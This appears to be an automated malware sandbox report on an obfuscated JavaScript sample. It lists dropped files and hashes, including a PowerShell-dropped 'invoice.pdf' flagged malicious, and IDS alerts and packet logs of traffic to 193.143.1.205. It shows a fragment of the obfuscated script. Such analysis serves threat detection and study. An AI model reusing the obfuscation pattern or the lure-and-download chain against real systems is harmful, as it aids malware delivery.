SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b2e1f39a-8b52-4c5e-beaf-30599f1a210e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	62F2E9F22B4021BA764763F066157442
SHA1:	0BBCDDCCA2B7342980503F1522E9249B077DED4C
SHA-256:	747B773557070E01063EDCDF20C3DA8DD01599EF5EE5E5320BA7328DFDB2E721
SHA-512:	0D58BA35B2BBE548612357D9252FD87DDDC939B346DC666778CCE2C44E60F4A58434A42FDA5BDC7DF9552999D29ACD35E2F77FC5BD3D423B336F224D157F00A6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c260976b-919b-45d5-9156-caad8ff6ec8e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e8aec95f-618e-44a3-b0a5-20189dedda52.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ISO-8859 text, with very long lines (3486), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	14456
Entropy (8bit):	4.2098179599164975
Encrypted:	false
SSDEEP:	192:gcPqYV/saFlwwR+kMqe8TlZMX1sgUVa3ddMVsuNeMcGdSD9obOUAVlcMudM/Y14e:g7Q/X4kMb0lZ6mgtdHOelGdWaolvsTZ
MD5:	32FCA302C8B872738373D7CCB1E75FD4
SHA1:	DA85FAF24ED0ECFD5D69CCFD6286D8B77D7EB4F1
SHA-256:	CD0DD26304B88C20801FE80B33C49C009E2E5D4411B5D7F83252E1D90CD461C6
SHA-512:	57F8CC85FAFB15455074431216E47433E50DF5DE74ED74C395B7FF2C433DB7CE06F0A1C1FE1EFDC17229DBC33325D559789F43901556DD1A12963B94F01D5A1F
Malicious:	false
Preview:	%PPKLITE-2.1.%......1 0 obj.<</PPK<</AddressBook<</Entries[2 0 R 3 0 R 4 0 R 5 0 R 6 0 R]/NextID 1006/Type/AddressBook>>/Type/PPK/User<</Type/User>>/V 65537>>/Type/Catalog>>.endobj.2 0 obj.<</ABEType 1/Cert<308204A130820389A00302010202043E1CBD28300D06092A864886F70D01010505003069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F74204341301E170D3033303130383233333732335A170D3233303130393030303732335A3069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F7420434130820122300D06092A864886F70D01010105000382010F003082010A0282010100CC4F5484F7A7A2E733537F3F9C12886B2C9947677E0F1EB9AD1488F9C310D81DF0F0D59F690A2F5935B0CC6CA94C9C15A09FCE20BFA0CF54E2E02066453F3986387E9CC48E0722C624F60112B035DF55EA6990B

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15474), with CRLF line terminators
Entropy (8bit):	4.931866336921664
TrID:
File name:	2832817159901627624.js
File size:	19'266 bytes
MD5:	8add4563c32cabf46ae3c5b7c573caa7
SHA1:	cd5772ec3c6ffa7bfd3b7ffa27f9beb20bc056a5
SHA256:	d2addcf420217c10a04443f7b953d19c3bf45d8f838a8d931eed1659fd41e1f8
SHA512:	16a5710b285a8ce3b9872f9e203d8a0ec8b70562f4af3b5ad501dabdceef832c5942d848c90f5f0c7dfe56c08b6b14a0914473094e0cbe1c675f80b8aaa81df2
SSDEEP:	192:YNgrh+YGemoDJ08MWutfSsJqUmK2+U4bvJz8TZSXUGalP/3lRqJsbe:rTRMWUSsCOv98TxGalP/3lRqJs6
TLSH:	798285E4D8F2E8D58CF842D97F1639F126EA07AE8D7C1095046128D71B3EEAD09D58BC
File Content Preview:	function oqjgle(){cbdwvkuz=[1031,3079,5127,4103,2055,3072];var ltuorpiqf=this[chrncz+lfzadyduc+ijdiudgvv+jalagkznu+ajpaqxtj+zsoqmuyo+lfvezefl+mjhbhycd](this[bykzgefla+venjzvnqa+jwcsy+ijdiudgvv+wtjrubag+chrncz+mjhbhycd][ejzdhstpr+ijdiudgvv+ajpaqxtj+lfzadyd

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:00:57.083180+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T22:00:59.254424+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:00:56.272422075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:56.277384996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:56.277498960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:56.280648947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:56.285521030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.083018064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.083039999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.083050013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.083061934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.083072901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.083081961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.083091974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.083102942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.083112955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.083123922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.083179951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.083281994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.128554106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.128593922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.128606081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.129066944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.176302910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.206779957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.206840038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.206856966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.206868887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.206880093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.206970930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.206970930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.207173109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.207340002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.207350969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.207362890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.207396030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.207532883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.207559109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.207606077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.207617044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.207627058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.207660913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.208209038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.208220959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.208231926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.208241940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.208251953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.208300114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.208452940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.209053040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.209064007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.209075928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.209178925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.209178925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.219955921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.252394915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.252419949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.252440929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.252451897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.252463102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.252466917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.252528906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.298347950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.298367023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.298634052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.330442905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330463886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330475092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330492020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330503941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330534935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.330615044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330625057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330636978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.330677986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.330795050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330806971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330821991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330831051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.330832958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330842972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330852985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330858946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.330864906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.330894947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.330933094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.331624985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.331671000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.331681013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.331691980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.331722021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.331792116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.331950903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.332015991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.332027912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.332036972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.332048893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.332056046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.332096100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.332480907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.332520008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.332535028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.332540989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.332604885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.332617998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.332623005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.332628965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.332638979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.332653999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.332698107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.333513021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.333523989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.333535910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.333545923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.333556890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.333566904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.333578110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.333580017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.333611012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.334347010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.334357977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.334372997 CET	80	49704	193.143.1.205	192.168.2.5
